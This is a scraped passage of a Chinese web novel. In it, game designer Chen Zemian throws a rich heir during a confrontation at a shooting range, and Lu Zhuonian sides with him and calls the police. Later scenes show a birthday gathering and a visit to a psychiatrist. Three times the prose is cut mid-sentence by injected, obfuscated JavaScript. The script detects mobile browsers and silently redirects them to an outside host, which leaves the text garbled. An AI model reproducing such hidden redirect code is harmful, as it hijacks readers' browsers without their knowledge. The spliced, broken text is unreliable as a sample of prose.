BOSS不来,陈则眠更加轻松了,每天就是玩枪、玩十.字.弩,拆.枪、拼模型,抄武器参数,抱着电脑写一写游戏框架,玩一大堆竞品游戏,事无巨细地写了一个六万字的需求文档。 虽然根本不知道该怎么优化。 随便动哪里都要钱。 陈则眠本来是想糊弄一下,随便做个游戏捞钱,结果做着做着就把自己套进去,投入那是越来越多,预算也是一提再提。 没办法,以前给资本做游戏,那是替别人养孩子,凑合凑合说得过去就行,能不能成器也不是主策一个人的事,现在陈则眠自己做老板,养的是自己亲儿子,投入的感情自然与之前不可同日而语。 陈则眠的游戏已经立项,取名为《再封神》,是一款3D半即时回合制RPG手游。 几个有代表性的场景已经完成搭建,只待确定相应的场景画面呈现,做好宣传预告,就可以在商店页画大饼了。 游戏整体水墨丹青为基底,走的是绝美国风路线,背景为殷商封神之战,人物设定直接照抄封神演义,什么妲己、哪吒、敖丙、杨戬、姜子牙全都做成人物卡,想要就花钱抽去吧。 封神演义是绝对的大群像故事,可发挥的空间很大。 出身各异的主角们分为两大阵营,从天南海北相聚到一起,情同手足,并肩作战,如群星闪耀,恢宏灿烂,但最终堙灭于历史的洪流中,只留下一张寥寥数语写尽平生的人物卡片。 两厢对比下,历史的厚重和宏大感一下就出来了。 这种原本就有体系的背景特别好用,都不需要费力想剧情发展,经典名场面更是也多到用不过来。 陈则眠决定从最有代表性的哪吒闹海开始,这两天没事的时候就在本上画莲花和青龙。 当游戏主策什么都得会一点,为了能更精准地和美术传递想法,他专门去学过素描,能简单勾勒出想表达的细节。 毕竟画面再粗糙也比文字清楚。 陈则眠对编程的要求适度可以放低,但游戏画面表现必须精美。 哪吒作为天庭第一反骨仔,人气一直居高不下,根据以往经验,陈则眠决定把剧情写得虐一点、遗憾多一点,直接把第一个主线的结局推到哪吒自刎,用漫天飘零的莲花花瓣收尾,效果做出来肯定很漂亮。 也够刀人。 这天,又是个周六,陈则眠正在和场景原画设计师碰龙宫细节。 他说水晶宫必须华丽,想要一种流光溢彩的透明。 设计师那边[对方正在输入中……]了半天也没敲出来一句话。 估计在骂他。 转眼就到了中午,闫洛还没回来,陈则眠就合上电脑,去展厅叫他吃饭。 半路上,突然听到一阵争吵喧哗,像是有客人不满意工作人员的态度,说完找老板投诉。 陈则眠耳朵好使,听出其中一个冷冽的声音正是闫洛,就叫了工作人员出来,问是怎么回事。 工作人员一看陈则眠,就像是看到救星,连忙将前因后果和盘托出。 原来是新来的这几个人想单独包一个训练场,但却没有提前预订,现在所有训练场都已经有人在用,他们又不想拼场,刚开始说要加钱,后来又说来的路上看到了有空着的训练馆,为什么不给他们用。 闫洛说空着的那两个一个是提前预定了出去,一个是是老板的私人训练馆,都不能给他们用,那群人就吵着要见老板。 原本不是什么大事,只是闫洛不太擅长与人沟通,讲话有些冷硬,客人借题发挥,愈发不依不饶。 闫洛平常也不负责接待工作,今天不知道怎么刚好让不讲理的客人给缠上了。 陈则眠听到一个工作人员跟他们继续解释,说:“不好意思先生,那确实是我们老板的私人训练馆,我们是挂了不对外开放牌子的,可能是不太显眼,您没注意到。” 客人并不罢休:“你老板也是开门做生意的,他现在又不在,训练馆空着也是空着,怎么就不能给我们用,你们老板就这么不知变通吗?” 事涉陆灼年,闫洛一下就沉了脸,冷声说:“不能就是不能。” 对方立刻不干了:“哎,你怎么说话的,什么叫不能就是不能,我和你说不着,你们老板呢?把他叫来,我直接和他说。” 这声音听起来有些耳熟,陈则眠站在屋外,循声望去。 就这么一瞧,视线正巧和其中一人对上。 居然还真是位熟人,陈则眠穿越那晚见到的第一个人—— 武旭。 真是冤家路窄。 武旭看见陈则眠也是一怔,侧头和身边的人说了句什么。 能和武旭同时出现的还能有谁? 陈则眠移动视线,毫无意外地看见了武旭的老大,许家二少爷许劭阳。 许劭阳穿了一身GUCCI当季最新款卫衣,设计师延续了以往经典的高调配色,红绿撞色特别扎眼,细密印花多到看一眼就吵眼睛。 来射击场还打扮这么花枝招展的,许二少还是一如既往的浮夸。 陈则眠轻轻挑了下眉,还没想好接下来该怎么办,许劭阳就替他做出了选择。 许劭阳伸手指向门外的陈则眠,大喝一声:“站住!” 刹时间,所有人都下意识向他看来。 陈则眠:“……” 本来也没想走。 他推门走进大厅:“许二少。” 武旭见到陈则眠进来,露出了些许忌惮神色。 作为在场唯一和陈则眠真正交手过的人,武旭心里摸不准这个漂亮少年的实际战力,他也说不清那晚会被陈则眠打伤,到底是因为对方身手太好,还是自己醉得太厉害。 武旭心里紧张,额角青筋猛跳。 看到这张脸就脑袋疼。 许劭阳眯了眯三角眼,目光落在陈则眠胸前的工作牌上。 这么多日不见,原来是跑到这儿来打工了。 上次在绿水亭苑,陆灼年亲自出面把陈折保了下来,动静闹得不小,家里听说后,不准许劭阳再和陆灼年作对,事情便不了了之。 许劭阳虽然咽不下这口气,但也没敢再找陈折麻烦。 只是最近听说陈折好像又得罪了刘家小少爷,从那以后就没在陆灼年身边出现过。 没了陆灼年庇护,陈折算是个什么东西,今天还不是撞到了他许二少手里。 许劭阳冷笑道:“陈折,你挺会躲呀。” 闫洛听出许劭阳语气不善,快步走到陈则眠身边,低声询问:“这人你认识?用叫经理吗?” 陈则眠摇摇头:“没事,你先走,我来接待他们。” 闫洛不是很信任地看着陈则眠,满眼都是怀疑:“你应付得了吗?” 陈则眠说:“好弄。” 一伙人成群结队,别看人挺多,个个都是废物,一个能打的都没有。 闫洛如果知道陈则眠的好弄是这个好弄,肯定不会放心把客人交给对方。 可惜他还是太年轻,也不够了解陈则眠,三言两语就被哄走了。 “你在这儿上班?”许劭阳问。 陈则眠点头。 许劭阳用命令的语气说:“跟我去训练场。” 陈则眠:“那只能拼场了,许二少。” 许劭阳盯视陈则眠,冷笑道:“行啊,主要是想和你玩玩,什么场都行。” 本来就是想趁机收拾陈折,当然是看到的人越多越解气。 许劭阳舔了舔后槽牙,眼中闪过一丝阴险毒辣。 * 训练场内,枪声不绝于耳。 陈则眠将袖子挽到手肘,露出一截白皙的小臂:“许二少想玩什么?” 许劭阳接过教练递来的手枪,在指间转了转:“那天好几个保镖都没留下你,可见你身手不错。” 陈则眠波澜不惊:“凑合吧。” 许劭阳举枪对准陈则眠:“这么厉害,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930653|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该不怕手.枪吧。” 面对黑洞洞的枪口,陈则眠依旧语气淡淡:“还好。” 许劭阳瞄准陈则眠眉心,声音压得很低,阴冷冷的像条毒蛇:“也是,你当然不用害怕,我又不是疯了,怎么会在这里开枪杀你呢,但在其他地方……你要小心了,陈折。” “你会在哪里开枪我不清楚,”陈则眠将一盒子弹拍在训练台上:“但我确信你枪里没有子弹。枪弹分离,射击场安全须知第三条,张贴在大厅最显眼的位置,许二少一定没看过。” 许劭阳:“……” 陈则眠把子弹推过去:“许二少眼神好像不大行,我家老板私人训练馆门口那么大一个的牌子,您都看不见。” 许劭阳卸出弹夹看了一眼,里面果然没有子弹。 拿枪对着人威胁放狠话,震慑意味很浓,但要是拿的一把空枪,那场面就有点搞笑了。 尤其还这么多人在看着。 许劭阳装逼失败,脸色有些难看:“这就是你的服务态度?你老板知道他手下有你这么个牙尖嘴利的员工吗?” 陈则眠一脸无所谓:“嗯。你去投诉我吧。” 许劭阳梗了梗。 他从来没见过这么油盐不进的人。 什么都不怕,又什么都不在乎,无论他说什么陈折都是淡淡的,好像一拳打在了棉花上,从见面开始就只有自己在生气! 许劭阳烦躁地撩了把头发,打算以权压人:“把你们老板叫来。” 陈则眠面无表情:“老板不在。” 许劭阳扬声道:“你说不在就不在?叫他过来,我要投诉你!” “二少,您手边那么大一个意见投诉箱您看不到吗?”陈则眠指了指投诉箱,用称得上同情的眼神看了眼许劭阳,语调依旧不疾不徐,还拖着点懒洋洋的尾音:“今天出门没戴隐形吗?” 许劭阳的某个跟班拍了下桌子:“少他妈胡说八道,我们许少才不近视。” 陈则眠恍然大悟般‘哦’了一声:“不近视还看不见东西,那就只能是……” 没带脑子了。 陈则眠并没有继续说下去,但所有人听出了他未尽之意,明白他想要说些什么,自动在心里把后半句话补齐了。 “你什么意思?!” 许劭阳怒不可遏,一把拽过陈则眠衣领,把人扯到面前,用手戳着他的脸:“有种说出来啊!半吞半吐的算什么男人!” 陈则眠微微偏头,避开许劭阳的手指:“我说你没脑子,你好像那个智障,没去治过吗。” “!!!” 有生以来,许劭阳第一次被人贴脸辱骂,满腔怒火难以抑制,全身血液轰然涌向大脑。 许劭阳瞬间暴怒,挥拳朝陈则眠眼眶打去。 陈则眠就在等着许劭阳动手,他抬手握住许劭阳虎虎生风的拳头,扯着对方手腕,顺势来了个过肩摔,直接把人扔了出去。 “许少!”“许少!” 许劭阳忽然飞了起来,武旭和其他跟班都吓了一跳,想伸手接却没能接到。 陈则眠出手实在太快了,而且完全没有征兆! 谁能想到他居然会在自己工作的地方动手打人。 一点顾忌都没有吗? 电光石火间,‘嘭’的一声巨响! 许劭阳狠狠砸在地上,全身骨登时头一震,五脏六腑都移了位似的,摔到灵魂出窍,落地刹那第一感觉不是疼,而是麻和懵,过了不知几秒,痛感才密密麻麻地蔓延开。 “陈折,你找死!”许劭阳捂着肋骨,被人七手八脚地扶起:“你竟然敢殴打顾客。” 陈则眠指了下监控:“你先动手的,要我替你报警吗?” 许劭阳当然知道报警他不占理。 他刚才还拿枪指着陈折! 许劭阳气急败坏,猛地抓起桌面上的子弹盒砸向陈则眠:“你们老板是谁?怎么什么员工都敢招!我非让他开了你不可!” “他老板是我。”一道冷锐的嗓音从门口传来:“你有什么意见吗。” 众人纷纷朝门口看去。 许劭阳瞳孔剧烈收缩,霎时像是被捏住气管,一句话都说不出来。 居然是陆灼年! 15.第 15 章 看到陆灼年突然出现,陈则眠内心的惊讶不比任何人少。 他觉得自己可能是和陆灼年八字不合。 要不怎么每次打架,都会正好让陆灼年看到呢? 好不容易降下去的嫌疑值,这回恐怕又要升上去了。 该死的许劭阳。 不过话说回来,这也太寸了吧,陆灼年平常本来就不怎么来射击场,就算来了也不会刻意见陈则眠。 上次见陆灼年还是上次,掐指一算都半个多月了,今天怎么就忽然来了,巧得简直像专程来抓他。 如果不是看过剧情,知道陆家和许家素来水火不容,陈则眠都该怀疑许劭阳这次找事,是陆灼年在钓鱼执法了。 许劭阳大惊失色。 他想不到陆灼年会出现在这里,更想不到陈折的老板竟然就是陆灼年。 这个国际射击场居然是陆家的? 陆灼年迈进训练馆,眼神淡漠,声音中带着压迫:“许劭阳,看来你已经忘了上次我和你说了什么。” 许劭阳心脏猛跳,震得肋骨阵阵发痛:“陆灼年,现在是你的员工打我。” 陆灼年用陈述的语气说:“我看见你先动手了。” 旁边有围观的人也跟着帮腔: “是啊,明明是你先拽那位小帅哥的。”“这人怎么回事,一进场就吵吵嚷嚷的,来找事的吧。”“人家工作人员一直好声好气,他怎么就急了要打人。”“这么情绪不稳定的人怎么还来射击场,太危险了。”“哎、哎,保安你先把那边枪收一下,赶紧报警啊。” 众人交头接耳,嘁嘁喳喳的议论声如有实质,铺天盖地席卷而来,劈头盖脸地砸在许劭阳身上。 许劭阳面颊滚烫,头皮发麻,皮肤产生了一种并不存在的刺痛感,仿佛站在审判台上,被迫接受指责与数落。 “是他先骂我的!”许劭阳羞愤交加,忍无可忍,指着陈则眠鼻子,怒吼道:“他先骂我的。” 围观群众并没有听到陈则眠骂人,但见许劭阳双眼赤红,都不敢再接话刺激他,只惊惧又防备地看着他,生怕他忽然发疯暴起伤人似的。 对于一个情绪失控又无法证明自己的人而言,这种眼神本身就是一种刺激。 他恶狠狠地瞪着陈则眠,脸颊涨得通红,眼眶也红彤彤的,肋骨的位置还不断传来剧痛,无时无刻不再提醒他被人骂了打了的事实。 偏偏所有人还都觉得是他的错! 我才是被打的那个啊。 许劭阳从来没有这么冤枉、这么委屈过。 激愤之下,许劭阳一把拽住陈则眠的胳膊,扬声质问:“你是不是骂我了,你说你是不是骂我了!” 陈则眠连连点头:“嗯嗯,是是是。” 许劭阳已经做好了陈则眠不承认的准备,没想到他这么轻易就认了,一肚子诘问反驳的话语全都卡在了嗓子眼,差点没把自己憋死。 这人有病吧。 怎么总不按套路出牌啊! 许劭阳整个人情绪已顶到极点,谁想到陈则眠忽然来了这么一下,暴涨的怒气就像泄了气的皮球,再也炸不开了。 终于证明了自己,许劭阳抓着陈则眠,仰头看向陆灼年:“你听到了吧,他承认了。” 陆灼年说:“你先把人放开。” 许劭阳不依不饶,捂着肋骨说:“你们陆家的员工嚣张跋扈,辱骂殴打顾客,这事不可能就这么算了。” 陆灼年目光毫无温意:“你想怎么样。” 许劭阳得寸进尺:“我要他给我磕头赔罪!” 听到‘磕头赔罪’四个字,人群爆发出一阵轻微的低呼,都觉得这也太过分了。 陈则眠差点没控制住笑出声来,赶紧低下头藏住表情。 磕头赔罪,好典型男频台词。 这经典的名场面也是让他碰上了。 太搞笑了。 陈则眠以为只要自己藏得够快,就没人能发现他表情管理失败,不承想陆灼年慧眼如炬。 陆灼年不仅看到了陈则眠在偷笑,还发现陈则眠低下头的时候,修长的脖颈侧面,有一颗若隐若现的红痣。 小小的一颗,很红。 陆灼年不自觉地捻了下手指,沉声道:“陈折,别笑了。” 陈则眠唇角弧度僵住,立刻不嘻嘻了。 这人什么眼神啊,这都能看见? 许劭阳满眼不可思议,扳过陈则眠的肩膀去看他表情,惊疑不定道:“你还笑得出来?” 陆灼年眸光微沉:“陈折,过来。” 陈则眠一抬头,正对上陆灼年深黑如墨的瞳眸,担心自己露馅太多,不敢再胡作非为,扭腕别开许劭阳抓着他的手,老老实实地低头走向陆灼年。 许劭阳还没反应过来发生了什么,只觉虎口一疼,不自觉松开手,再回神陈则眠已经走到了陆灼年对面。 他就是有再大的胆子,也不敢把手伸到陆灼年面前抓人。 许劭阳怒火攻心,却又无计可施,只觉陆灼年简直鬼迷心窍,怎么也想不通这位大名鼎鼎的京圈太子爷,为何非要护着个一文不值的陈折。 他还想再说些什么,陆灼年却已经失去了所有的耐心。 陆灼年淡淡道:“剩下的话留着向警察说吧。” 许劭阳难以置信:“这么点小事你居然报警,就完全不在乎对射击场的影响吗?” 陆灼年没有理会许劭阳,只是看了陈则眠一眼,给了个‘跟上’的眼神,然后面无表情,转身离开。 陈则眠在立刻跟上和装傻充愣之间犹豫了十分之一秒,最后还是乖乖接收了领导信号,低眉顺眼地跟着陆灼年走了。 * 警察依法调取了射击场训练馆内的监控视频,并传唤了在场人员进行询问。 很简单的一起案件,监控画面清楚与证人证言相互印证,形成了完整而清晰的逻辑链条。 许劭阳涉嫌寻衅滋事被公安机关留置,结果还没有做完笔录就被取保了。 这也在陈则眠的意料之中。 毕竟是许家二少爷。 陈则眠谈不上失望,只是客观分析道:“除了他拿枪那一下,其他行为也够不上‘情节恶劣’。” “和那些都没关系。”陆灼年微微停顿,直到陈则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这么不禁打就不要出来打架,”陈则眠恨铁不成钢,疯狂甩锅:“他没准是故意断的,就是想害我坐牢。” 陆灼年说:“你不会坐牢。” 陈则眠眼珠动了动,满含期待地看着陆灼年:“真的吗?” 陆灼年应了一声:“嗯。” 得了男主的允诺,陈则眠松了一口气:“原来陆少都替我打点好了,吓我一跳。” “没有打点,”陆灼年看向陈则眠,眼神从上而下投过来,带了些责备意味:“行贿犯法的,陈折。” “……” 陈则眠头不自觉向后仰去,震惊地盯视陆灼年,却见对方表情毫无变化,是很认真地讲出的那句话。 有这么一瞬间,他几乎以为自己和陆灼年不是在同一本书里。 原书中,为了追求爽度,陆灼年的背景设定深不可测,从出场开始就到处都是后台,无论遇见多大事都是一个电话/一顿饭搞定,动动手指就可以轻松干掉实力非凡的敌人,可以说是酷炫狂拽、为所欲为。 这大龙傲天,怎么还突然给自己普上法了? 世界突然好玄幻。 我当然知道行贿犯法啊,问题是书里的你们好像都完全没有法律意识哎! 陈则眠有点恍惚,连敬称都忘了用:“那你怎么知道我不会坐牢?” 陆灼年语气平淡从容:“我相信司法公正。” 16.第 16 章 确实挺公正的。 至少陈则眠觉得挺公正。 风清气朗的法治之风也是吹到了男频爽文。 太好了,他有救了。 从此,他再也不用担心穿越的事情败露,被抓到实验室做人体研究,或者因为得罪陆灼年而被男主悄悄搞死。 陈则眠如获新生,神清气爽,心情舒畅看什么都顺眼,连见到刘越博都和颜悦色。 刘越博对陈折的和颜悦色敬谢不敏,毕竟这人精神不太正常,上次把咖啡倒到他脑袋上之前也眉开眼笑的。 现在回想起来,那分明是‘一想到我待会儿要做什么,我就忍不住笑’的可恶表情。 今天是萧可颂生日宴,刘越博不想见陈折,原本不愿来的,但萧、刘两家正在磋商一个大项目,为了展示诚意,家里无视了刘越博的抗拒,不仅非要他来,还是他大哥押着他来的。 一进宴会厅,刘越博就看到了陈折那张令人讨厌的脸。 陈折身穿银灰西装,里面是一件同色系竖纹缎面衬衫,最上面的扣子松了两颗,扣得不大严谨,露出大片雪白脖颈,修长的脖子上晃荡着一条蓝黑色领带,明显是进门时现挂上去的。 这副疏宕不拘的浪荡模样,和整个宴会氛围迥然不同,让人想不注意都难。 豪门酒宴是社交场合,男女来宾都衣着正式,满堂宝气珠光,靡衣玉食,表面松散随意,实则内里有特定的规矩和原则,每个人都有自己的位置,穿戴言行皆是照本宣科,框在不成文的框架中,无人逾矩。 就好比刘越博自己,再不想来参加萧可颂的生日宴也得来,不仅要来,还要摆出一副很欢喜的笑脸,仿佛很诚心地恭祝萧家少爷生日快乐似的。 真他妈烦,好想把这里炸了。 刘越博端起一杯香槟,找准陈折不在的时机和萧可颂碰了下杯,顺利完成任务,然后躲到了角落里装自闭。 也不是装自闭,他现在真的很自闭。 当着圈子里一众朋友的面丢了那么大一个人,他满头咖啡的照片至今还在各个微信群里疯狂流传,搁谁谁都想撞墙。 刘越博不仅想撞墙,还想一头撞死陈折。 尤其是现在满面春风,不知道在高兴什么的陈折。 “这么高兴,是发财了吗?” 萧可颂和刘越博有同样的疑惑,他问陈则眠:“还是中彩票了?” 陈则眠举起高脚杯敬道:“我们萧少今天二十大寿,我难道不该高兴吗?” 萧可颂眯起眼睛:“陈折,我发现你现在很不老实,张嘴就胡说八道。” “他老实过吗?”陆灼年晃了晃酒杯,说话时没有看人,而是低垂着眼眸,像是在专心品鉴杯中红酒的挂壁程度,漫不经心地说:“萧可颂,你看人不太行。” 叶宸侧头看了眼陆灼年,没说话。 萧可颂也看向陆灼年,诧异道:“难道你知道怎么回事?” 陆灼年放下酒杯,言简意赅:“前几天和许劭阳打架,发了笔横财。” 这话没有主语,但萧可颂和叶宸都知道说的是陈折,于是同时朝陈折看去。 萧可颂轻轻叹气:“你怎么又打架了。” 陈则眠迎着两个人的视线,稀奇道:“怎么就非得是我呢,也可能陆少打的。” 叶宸:“不可能。” 萧可颂也说:“灼年是不会跟人打架的。” 就算他真被谁惹急了,也是让保镖去打,绝对不可能亲自动手。 陈则眠讶然道:“真的假的,你们这些大少爷不会都没和人打过架吧。” 这么高贵的吗?难怪都那么不禁打。 叶宸和萧可颂却说:“打过。” 陈则眠有点迷茫,不解道:“所以只有陆少没打过?为什么?” 陆灼年和叶宸沉默不语。 萧可颂说:“他有病。” ? 有病? 突然听到这么一句,陈则眠一时也不知道萧可颂是开玩笑,还是说真的。 他下意识去看陆灼年,虽然什么都没说,但清澈的眼神已经精准明确地传递了他的疑惑—— 你有啥病啊。 陆灼年恍若未见,面不改色地端起酒杯抿了一口。 叶宸轻咳一声,岔开话题:“还是说陈折打架的事吧。” 说起陈折打架,萧可颂就想叹气。 他是真把陈折当弟弟,前半辈子没操的心都操在陈折身上了。 怎么和人打架,还能发横财呢?除了受伤的赔偿款以外,萧可颂实在想不出别的来,他左右看看陈则眠,暂时也瞧不出哪儿受了伤,现在瞅着是活碰乱跳的,应该没什么大事。 “你这段时间不是在射击场上班吗?” 萧可颂先是问了陈则眠一句,也不等他回答,又转头去问陆灼年,语气算不上责怪,但也有点不太高兴:“怎么在你眼皮底下,还能让人把他给打了?” 陈则眠刚想解释一下怎么回事,只是没来得及开口,陆灼年就先说话了。 陆灼年没有反驳,也没有解释,只是淡淡应了一声:“一时没看到,以后再看紧点。” 陈则眠:“……” 叶宸眉梢挑起到不易察觉的弧度,这次没看陆灼年,而是去看陈则眠的表情。 陈则眠无辜歪头。 “……” 叶宸很轻很轻地‘啧’了一声,慢慢收回视线,似笑非笑地瞥了陆灼年一眼。 陆灼年淡淡道:“有什么问题吗?” “没什么问题,”萧可颂对前番的暗流游动毫无察觉,思绪还停留在陆灼年说要再看紧陈折一点的话题上,对此表示赞同:“是要多照看一些,陈折性子软,就是比较容易受欺负。” 陈则眠反驳:“我没……” 萧可颂不等他说完,就打断道:“你没什么没,我没说你是吧,你怎么回事啊,以前挺会察言观色的,现在像个莽夫一样,越活越回去了,看谁来找你麻烦难道不会躲吗?” 陈则眠对萧可颂没有半点脾气,乖乖低头听训:“哦。” 萧可颂越说越来气,尤其是想到许劭阳明知他罩着陈折,居然还敢一而再地找陈折麻烦,简直是没把他萧可颂放在眼里,不免更加窝火,愤愤道:“你也别委屈了,下次见到许劭阳,我替你揍他。” 陈则眠说:“算了。” 许劭阳摔折了三根肋骨,现在还没出院呢,要是萧可颂再去揍他一顿,也实在太倒霉了。 陈则眠仅剩的良心作祟,又劝了一句:“别找他了萧少,我都收了他们家钱,出完谅解协议了。” 萧可颂义愤填膺:“就该把他抓进去蹲几天,给他出什么谅解协议!” 陈则眠心虚地摸了下鼻子,模棱两可地说:“如果是你,你也会谅解他的。” 陆灼年忍俊不禁,轻咳一声掩住笑意。 叶宸从说起这件事开始,就隐约觉得哪里不对劲,这会儿已经查清了前因后果,听到陈则眠说出这句‘如果是你,你也会谅解他的’,也觉得很好笑,没忍住低笑出声。 萧可颂是真的少爷脾气,生起气不管不顾,连路过的狗都得给两巴掌,听到叶宸低笑,登时不满地斜瞥过去:“叶宸你这人真冷血,陈折都这么惨了,你居然还能笑出来。” 叶宸:“……” 陈则眠也不知道为何事情会发展到现在这个局面,明明从萧可颂误会的第一秒他就打算解释的,怎么拖着拖着就不知道该怎么说了。 都是从陆灼年那句莫名其妙的话开始歪的。 萧可颂知道真相后一定会捶死自己。 他一定会。 陈则眠很不明显地抬起头,偷偷瞪向陆灼年。 被陆灼年抓个正着。 陈则眠没想到陆灼年正在看他,心跳都吓得停跳了一拍,但转念想起这里是法治社会,立刻默念了一遍社会主义核心价值观给自己助威,大着胆子继续瞪陆灼年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943267|159526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陆灼年漠然回视,坦荡的模样看似无比正经,但陈则眠一眼就看出他是故意的。 这个陆灼年,真是步步为营。 他故意让萧可颂误会,表面是坐实陈则眠在萧可颂面前无害可欺的身份,实则是在二人之间埋下个信任炸弹,而炸弹的引线牵在陆灼年手里。 陈则眠只是慢说了一句话,就不知不觉落入陷阱,白送了个好大的把柄给陆灼年。 狡诈恶徒。 太!可!恶!了! 陈则眠眯了眯眼睛。 陆灼年举起酒杯,若无其事地喝了一口。 陈则眠还想继续瞪陆灼年,萧可颂忽然拍了他一下。 萧可颂看看陈则眠,又看看陆灼年:“你俩眉来眼去的干啥呢?” 叶宸揉了下太阳穴:“外面宾客都到了,可颂,你还不出去吗?” 萧可颂好不容易才溜进休息室躲清闲,一点也不想出去假笑应酬:“我爸我妈都在外面呢,本来也没几个人真冲我来的。” “还是看一下吧,”叶宸站起身,将酒杯里剩下的红酒一饮而尽:“我陪你一起去。” 萧可颂也知道不能再躲了,叹了口气站起来:“完事都别走啊,我在繁楼顶层约了场,这边结束那边继续。” 繁楼是京市有名的销金窟,集餐饮、音乐、温泉、棋牌、桌游、台球、酒吧等休闲项目为一体的高端商务会所,消费高得惊人,上三层实行会员制,每年仅会费就要六位数,出入往来无不是高门显贵。 萧可颂说:“别人都没叫,就咱们四个,你们必须得陪我玩,今天是我生日,我说了算。” 见三人都应下说好,萧可颂才勉强打起精神,对着镜子整了整衣领。 镜子挂在门口,正好照到陈则眠后脑勺。 萧可颂余光扫到陈则眠,才发现陈则眠竟然发色变了。 萧可颂转过身问陈则眠:“你头发怎么变成黑色了,还挺好看的。” 陈则眠无语:“都染了快一个月了哥,你都不看我的吗?” “你又不是美女,我没事看你干嘛。”萧可颂走过去,近距离观察了一下陈则眠的新发色,捏起一缕捻了捻:“这是染的吧,我说你头发也不能长这么快,黑茶色吗?帅呀,哪天我也搞一个这个颜色染染。” 陆灼年听着他们说话,眼神在二人接触的位置停了几秒,也不知在看萧可颂的手,还在看陈则眠的头发。 陈则眠对此一无所觉,放松脊背靠在椅子上,仰起头看萧可颂:“这玩意看脸的,我就是染个薄荷绿都好看,托尼老师说的。” 萧可颂笑骂:“滚吧,你哥我的脸也帅得要命,什么发色驾驭不了。” 陈则眠开始挖坑:“那你敢驾驭薄荷绿吗?” 萧可颂差点就要上套:“薄荷绿什么样的?” 陈则眠立刻拿出手机搜颜色,萧可颂半蹲着俯身去看,下巴几乎搭在陈则眠肩上。 陆灼年放下酒杯,水晶杯底和大理石桌面相撞,发出不轻不重的一声脆响。 陈则眠还在嘻嘻哈哈地怂恿萧可颂染发,根本没听到。 萧可颂倒是听到了,还有些奇怪地抬头看了陆灼年一眼,毕竟陆灼年的餐桌礼仪向来一丝不苟,不小心碰到餐具发出声响的可能性几乎没有。 叶宸站在门口叫萧可颂:“能快点走了吗?” 萧可颂手欠得狠,临走前还随手把陈则眠头发拨乱:“你染粉色能好看。” 叶宸一直没再说话,直到走出休息室,才幽幽叹了口气。 萧可颂:“我这儿过生日呢,你叹什么气。” 叶宸没太多表情:“我不想在你生日这天说难听的话,但你真的太笨。” 萧可颂哼笑一声,语气不屑中又带着些莫名自信:“你不就是想说陈折在忽悠我染绿色头发嘛,我早看出来了。我反向忽悠他染粉色呢,厉害不。” 叶宸看了萧可颂两秒:“你没救了。” 17.第 17 章 萧可颂是否有救尚未可知。 独自留在休息室,和陆灼年共处一室的陈则眠觉得自己快死了。 陆灼年好像有点不高兴,自从叶宸他们走了以后,就一直冷着脸不说话。 陈则眠恍然惊觉,原来之前能和陆灼年相处融洽,是因为对方愿意给他好脸色,一旦陆灼年摆出拒人于千里之外的高冷姿态,整个房间的气压会瞬间降低,别说顺畅交谈了,连顺畅呼吸都费劲。 无形的压力很难言表,硬要形容的话……大概就是男主的煊赫之威吧。 谁又惹这位太子爷了? 刚才还有说有笑的,这会儿怎么又龙颜不悦了呢。 真是天威难测。 陈则眠有心说些什么打破尴尬,又不知该从何说起,更不知对方是否愿意闲聊,只能默默从干果盘里拿出一把瓜子玩儿。 仔细想想,好像每次和陆灼年独处,陆灼年都或多或少表现出了些许不悦。 无论自己是回嘴顶撞,还是奉承讨,结果都没太多区别。 鉴于以上失败经验,陈则眠觉得陆灼年心情不佳可能没有其他原因,就是单纯烦他。 这就说得通了。 难怪后来陆灼年都不怎么来射击场了,闫洛说陆少之前基本每周都来1-2次,但自从陈则眠在射击场上班,一个多月只见了陆灼年两三次。 既然如此,那他还是别和陆灼年说话了,他越说陆灼年越烦。 也许等再过一会儿,陆灼年就能自己高兴起来了。 陆灼年短时间内很难高兴起来。 在连续几次因为陈折产生异常情绪波动后,陆灼年排除了偶然性,得出陈折确实会影响自己情绪的结论。 陆灼年带着这个结论,约见了他的心理医生。 他对心理医生说:“我遇到了一个很特别的人。” 心理医生表现出来一丝不易察觉的震惊,但陆灼年还是捕捉到了。 “可以说说TA哪里特别吗?”医生问他。 陆灼年用极其客观的态度,如实讲述了陈折的种种异常表现,最后才加上主观评价:“感觉就像是一夜之间变了一个人,我怀疑他存在第二人格,但后来通过观察,排除了这种猜测。” 医生没有问他具体是如何排除的,只是说:“每个人都有不同的一面,或许是你从前不够了解他,又或许是他经历什么事情,对性格产生了影响……” “他忽然拥有了之前从未展示过的技能,”陆灼年补充道:“这个技能在他之前的整个人生经历中完全没有体现,这很不正常。” 医生问:“你关注到了他的‘不正常’,所以觉得他很特别?” 陆灼年说:“有这方面原因,但主要是因为他的改变不在我的控制之内,超出预期的事物不确定太强,很……危险。” 心理医生早在多年前就接诊了陆灼年,看着他从一个小男孩成长至今,医生清楚这位病人特殊的顽疾,也清楚他因自身病症而产生的远超于常人的自制力。 陆灼年心性坚韧,态度坚决,不愿屈从于病症,对自身病情的克服压抑方式近乎严苛,甚至已经到了矫枉过正的程度。 他严格地掌控自己的身体与情绪。 